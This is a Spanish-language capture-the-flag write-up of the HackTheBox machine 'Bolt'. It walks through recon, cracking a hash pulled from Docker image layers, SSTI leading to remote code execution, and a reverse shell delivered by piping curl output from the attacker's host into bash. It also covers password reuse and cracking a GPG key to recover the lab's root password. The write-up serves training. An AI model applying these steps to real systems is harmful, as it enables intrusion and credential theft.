Inicio HTB - Bolt
Entrada
Cancelar

HTB - Bolt

¡Hola! Vamos a resolver de la máquina Bolt de dificultad “Media” de la plataforma HackTheBox.

Técnicas Vistas:

  • Information Leakage
  • Subdomain Enumeration
  • SSTI (Server Side Template Injection)
  • Abusing PassBolt
  • Abusing GPG

Preparación Entorno


Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Bolt. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt crearemos cuatro directorios de trabajo nmap, content, exploits y scripts donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.

1
2
3
function mkt(){
    mkdir {nmap,content,exploits,scripts}
}

Reconocimiento


Accedemos al directorio de trabajo nmap e iniciamos nuestra fase de reconocimiento realizando un ping a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl de una traza ICMP.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.11.128
PING 10.10.11.128 (10.10.11.128) 56(84) bytes of data.
64 bytes from 10.10.11.128: icmp_seq=1 ttl=63 time=38.3 ms

--- 10.10.11.128 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 38.334/38.334/38.334/0.000 ms

Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).

  • TTL => 64 Linux
  • TTL => 128 Windows

Continuamos con la enumeración de los 65535 puertos en la máquina.

1
2
3
4
5
6
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.128 -oG allPorts

PORT    STATE SERVICE REASON
22/tcp  open  ssh     syn-ack ttl 63
80/tcp  open  http    syn-ack ttl 63
443/tcp open  https   syn-ack ttl 63

Luego de identificar los puertos abiertos OPEN, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
nmap -sCV -p22,80,443 10.10.11.128 -oN targeted

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
|_http-server-header: nginx/1.18.0 (Ubuntu)
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_ssl-date: TLS randomness does not represent time
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Observamos dominio passbolt.bolt.htb. Lo agregamos a nuestro /etc/hosts

Reconocimiento Web


Iniciamos el reconocimiento del servicio web con la herramienta whatweb la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.

1
2
3
4
5
 whatweb http://passbolt.bolt.htb
http://passbolt.bolt.htb [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@company.com], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.128], JQuery, Meta-Author[Themesberg], Open-Graph-Protocol[website], Script, Title[Starter Website -  About][Title element contains newline(s)!], nginx[1.18.0]
 whatweb https://passbolt.bolt.htb
https://passbolt.bolt.htb [302 Found] Cookies[passbolt_session], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.128], RedirectLocation[/auth/login?redirect=%2F], UncommonHeaders[content-security-policy], nginx[1.18.0]
https://passbolt.bolt.htb/auth/login?redirect=%2F [200 OK] Cookies[csrfToken,passbolt_session], Country[RESERVED][ZZ], Django, HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[passbolt_session], IP[10.10.11.128], Script, Strict-Transport-Security[max-age=31536000; includeSubDomains], Title[Passbolt | Open source password manager for teams], UncommonHeaders[x-permitted-cross-domain-policies,referrer-policy,x-download-options,x-content-type-options,x-gpgauth-version,x-gpgauth-login-url,x-gpgauth-logout-url,x-gpgauth-verify-url,x-gpgauth-pubkey-url,access-control-expose-headers,x-gpgauth-authenticated,x-gpgauth-progress,x-gpgauth-error,x-gpgauth-debug,content-security-policy], X-Frame-Options[sameorigin], nginx[1.18.0]

Accedemos a los servicios web por los puertos 80 y 443 para inspeccionar su contenido. En el puerto 443 observamos un panel con un input de email, tratamos de instroducir un email pero no está autorizado para acceder a este servicio, necesitamos una invitación. Lo dejamos aparcado de momento seguimos con el puerto 80

Nos encontramos ante lo que parece ser un servicio de Administración gestionado con Admin LTE. Reconociendo la página web nos percatamos de una sección download en la que podemos descargarnos un archivo image.tar. Nos lo descargamos a nuestro directorio de trabajo para examinarlo detenidamente

Descomprimimos el archivo y observamos en su contenido varias carpetas con archivos layer.tar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
❯ tree -fas
.
├── [         40]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
│   ├── [        406]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/json
│   ├── [    4463104]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/layer.tar
│   └── [          3]  ./187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950/VERSION
├── [         40]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
│   ├── [        482]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/json
│   ├── [       3072]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/layer.tar
│   └── [          3]  ./1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c/VERSION
├── [         40]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
│   ├── [        482]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/json
│   ├── [      15360]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/layer.tar
│   └── [          3]  ./2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa/VERSION
├── [         40]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
│   ├── [        482]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/json
│   ├── [       7168]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/layer.tar
│   └── [          3]  ./3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab/VERSION
├── [         40]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
│   ├── [       1312]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/json
│   ├── [       8192]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/layer.tar
│   └── [          3]  ./3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162/VERSION
├── [         40]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
│   ├── [        482]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/json
│   ├── [   29789184]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/layer.tar
│   └── [          3]  ./3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b/VERSION
├── [         40]  ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
│   ├── [        482]  ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/json
│   ├── [   62859776]  ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar
│   └── [          3]  ./41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/VERSION
├── [         40]  ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
│   ├── [        482]  ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/json
│   ├── [       7680]  ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/layer.tar
│   └── [          3]  ./745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf/VERSION
├── [       3797]  ./859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
├── [         40]  ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
│   ├── [        482]  ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/json
│   ├── [    6984192]  ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/layer.tar
│   └── [          3]  ./9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77/VERSION
├── [         40]  ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
│   ├── [        482]  ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/json
│   ├── [      19968]  ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
│   └── [          3]  ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/VERSION
├── [         40]  ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
│   ├── [        482]  ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/json
│   ├── [   57565184]  ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/layer.tar
│   └── [          3]  ./d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26/VERSION
├── [  161765888]  ./image.tar
├── [       1002]  ./manifest.json
└── [        119]  ./repositories

11 directories, 37 files

Explorando el contenido de los mismos encontramos en ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar un archivo db.sqlite3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
for file in $(tree -fas | grep "layer.tar" | awk 'NF{print $NF}'); do echo -e "\n[+] Listando el contenido del archivo $file"; 7z l $file; done | less -S
.
.
.
[+] Listando el contenido del archivo ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=es_ES.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs AMD Ryzen 5 3600X 6-Core Processor              (870F10),ASM,AES-NI)

Scanning the drive for archives:
1 file, 19968 bytes (20 KiB)

Listing archive: ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar

--
Path = ./a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2/layer.tar
Type = tar
Physical Size = 19968
Headers Size = 3072
Code Page = UTF-8

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2021-03-05 18:44:04 .....        16384        16384  db.sqlite3
2021-03-05 18:39:12 D....            0            0  root
2021-03-05 18:44:29 .....            6          512  root/.ash_history
2021-03-05 18:41:00 D....            0            0  tmp
------------------- ----- ------------ ------------  ------------------------
2021-03-05 18:44:29              16390        16896  2 files, 2 folders
.
.
.

Accedemos al directorio donde reside el archivo layer.tar, descomprimimos y con sqlie3 procedemos a examinar su contenido donde encontramos una credencial con una contraseña hasheada

1
2
3
4
5
6
7
❯ sqlite3 db.sqlite3
SQLite version 3.34.1 2021-01-20 14:10:07
Enter ".help" for usage hints.
sqlite> .tables
User
sqlite> select * from User;
1|admin|admin@bolt.htb|$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q.||

Tratamos de romper la contraseña con john

1
2
3
4
5
6
7
8
9
10
11
❯ john -w:/usr/share/wordlists/rockyou.txt hash
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbolt         (?)
1g 0:00:00:00 DONE (2022-12-10 11:57) 1.123g/s 194157p/s 194157c/s 194157C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Con la contraseña obtenida podemos conectarnos a través del panel de login que se encuentra dentro del servicio web en el puerto 80

Reconociendo el dashboard vemos al final de la página AdminLTE Flask lo cual nos lleva a pensar en un SSTI. Inicialmente no vemos ningún input donde aplicar el ataque. Seguimos enumerando posibles rutas con virtual hosting

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
❯ gobuster vhost -u http://bolt.htb/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:          http://bolt.htb/
[+] Method:       GET
[+] Threads:      20
[+] Wordlist:     /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] User Agent:   gobuster/3.1.0
[+] Timeout:      10s
===============================================================
2022/12/10 12:20:59 Starting gobuster in VHOST enumeration mode
===============================================================
Found: mail.bolt.htb (Status: 200) [Size: 4943]
Found: demo.bolt.htb (Status: 302) [Size: 219] 

Agregamos demo.bolt.htb y mail.bolt.htb a nuestro /etc/hosts

Porbamos las credenciales obtenidas anteriormente sin éxito. Podemos crearnos una cuenta pero nos pide un código de invitación el cual no tenemos. Inspeccionando el input del código de invitación vemos que el campo que recoge este valor se llama invite_code

Volviendo a los archivos descargados anteriormente buscamos por la cadena invite-code

1
2
3
4
5
6
7
8
grep -r -i "invite_code" --text
.
.
.
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
.
.
.

Accedemos al directorio 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad y descomprimimos el archivo layer.tar para observar en detalle su contenido

1
2
3
4
5
6
tar -xf layer.tar
❯ grep -r -i "invite_code"
grep: layer.tar: binary file matches
app/base/forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
app/base/routes.py:        code	 = request.form['invite_code']
app/base/templates/accounts/register.html:            { { form.invite_code(placeholder="Invite Code", class="form-control") } }

Listando el contenido de routes.py localizamos el código de invitación

Ya podemos finalizar el registro de nuestra cuenta y acceder al servicio

Con las mismas credenciales creadas podemos acceder al servicio alojado en mail.bolt.htb

En este punto inspeccionamos el dashboard en busca de un posible input donde acontecer un SSTI. Probamos a cambiar el nombre de usuario en el Profile. En un principio no vemos el output reflejado en ningún sitio pero nos percatamos que en el mail creado recientemente tenemos un correo de confirmación para los cambios solicitados, aceptamos y nos llega un correo de confirmación donde vemos que se aplica el SSTI

Consultamos en PayloadAllTheThings y tratamos de inyectar un payload el cual nos devolverá el output del comando id así sabremos si el SSTI deriva a un RCE

Sabiendo que tenemos capacidad de ejecutar comandos creamos un archivo index.html con un oneliner que nos entablará una reverse shell, lo servimos mediante un servidor http y a la vez nos ponemos en escucha en el puerto 443. Con el mismo payload pero esta vez en vez de id ejecutaremos un curl hacia nuestro equipo pipeandolo con bash para que interprete el archivo index.html. Enviamos payload y cuando aceptemos cambios en el mail nos entabla la reverse shell con la máquina víctima y usuario www-data

Movimiento Lateral


Iniciamos el reconocimiento listando grupos, privilegios de sudo y tareas cron sin econtrar nada interesante. Mediante la herramienta linpeas.sh escanearemos todo el sistema en búsqueda de posibles vías de escalada. Observando los resultados del análisis encontramos unas credenciales de mysql

En la carpeta home del sistema vemos que existen dos usuarios eddie y clark. Probamos por si hay reutilización de contraseñas y logramos conectarnos con el usuario eddie. En su direcotorio personal encontramos la flag de usuario

1
2
3
4
5
6
www-data@bolt:/home$ su eddie
Password: 
eddie@bolt:/home$ whoami
eddie
eddie@bolt:~$ cat user.txt 
05b2e00cf5124bc43***************

Escalada Privilegios


Ya conectados con el usuario eddie volvemos a ejecutar linpeas.sh y econtramos unos archivos de registro que contienen claves SSH.

Inspeccionando el archivo 000003.log logramos extraer una clave privada del usuario eddie. La extraemos, formateamos y con la herramienta gpg2john logramos extraer el hash, el cual crackearemos mediante la herramienta john para extraer la contraseña

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ gpg2john key > hashGPG

❯ john -w:/usr/share/wordlists/rockyou.txt hashGPG
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas   (Eddie Johnson)
1g 0:00:01:42 DONE (2022-12-10 17:18) 0.009762g/s 418.2p/s 418.2c/s 418.2C/s mhines..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Con las credenciales de mysql encontradas anteriormente accedemos a la base de datos, y en la base de datos passboltdb y tabla secrets localizamos un mensaje GPG cifrado. Nos lo traemos a nuestro equipo de trabajo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
cat message.crypted
───────┬─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: message.crypted
───────┼─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ -----BEGIN PGP MESSAGE-----
   2   │ Version: OpenPGP.js v4.10.9
   3   │ Comment: https://openpgpjs.org
   4   │ 
   5   │ wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
   6   │ g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
   7   │ pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
   8   │ oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
   9   │ l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
  10   │ zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
  11   │ edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
  12   │ l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
  13   │ oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
  14   │ FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
  15   │ 8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
  16   │ 5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
  17   │ NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
  18   │ Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
  19   │ nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
  20   │ TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
  21   │ =P38i
  22   │ -----END PGP MESSAGE-----
───────┴─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Procedemos a importar la clave obtenida anteriormente del usuario eddie, insertamos la password crackeada

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gpg --import key


                                                          ┌──────────────────────────────────────────────────────────────────────┐
                                                          │ Introduzca frase contraseña para importar la clave secreta OpenPGP:  │
                                                          │ "Eddie Johnson <eddie@bolt.htb>"                                     │
                                                          │ clave de 2048-bit RSA, ID 1C2741A3DC3B4ABD,                          │
                                                          │ creada el 2021-02-25.                                                │
                                                          │                                                                      │
                                                          │                                                                      │
                                                          │ Frase contraseña: **************____________________________________ │
                                                          │                                                                      │
                                                          │          <OK>                                       <Cancelar>       │
                                                          └──────────────────────────────────────────────────────────────────────┘

gpg: creado el directorio '/root/.gnupg'
gpg: caja de claves '/root/.gnupg/pubring.kbx' creada
gpg: /root/.gnupg/trustdb.gpg: se ha creado base de datos de confianza
gpg: clave 1C2741A3DC3B4ABD: clave pública "Eddie Johnson <eddie@bolt.htb>" importada
gpg: clave 1C2741A3DC3B4ABD: clave secreta importada
gpg: Cantidad total procesada: 1
gpg:               importadas: 1
gpg:       claves secretas leídas: 1
gpg:   claves secretas importadas: 1

Una vez importada la clave procedemos a desencriptar el mensaje obtenido en mysql

1
2
3
4
5
6
7
8
9
❯ gpg -d message.crypted
gpg: cifrado con clave de 2048 bits RSA, ID F65CA879A3D77FE4, creada el 2021-02-25
      "Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Firmado el sáb 06 mar 2021 16:33:54 CET
gpg:                usando RSA clave 1C2741A3DC3B4ABD
gpg: Firma correcta de "Eddie Johnson <eddie@bolt.htb>" [desconocido]
gpg: ATENCIÓN: ¡Esta clave no está certificada por una firma de confianza!
gpg:          No hay indicios de que la firma pertenezca al propietario.
Huellas dactilares de la clave primaria: DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD

La contraseña obtenida es la del usuario root. La flag de root la encontramos en el directorio /root

1
2
3
4
5
6
eddie@bolt:/tmp/privesc$ su root
Password: 
root@bolt:/tmp/privesc# whoami
root
root@bolt:/tmp/privesc# cat /root/root.txt 
abfdbf15c93ebc60a***************

Hemos completado la máquina Bolt de HackTheBox!! Happy Hacking!!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.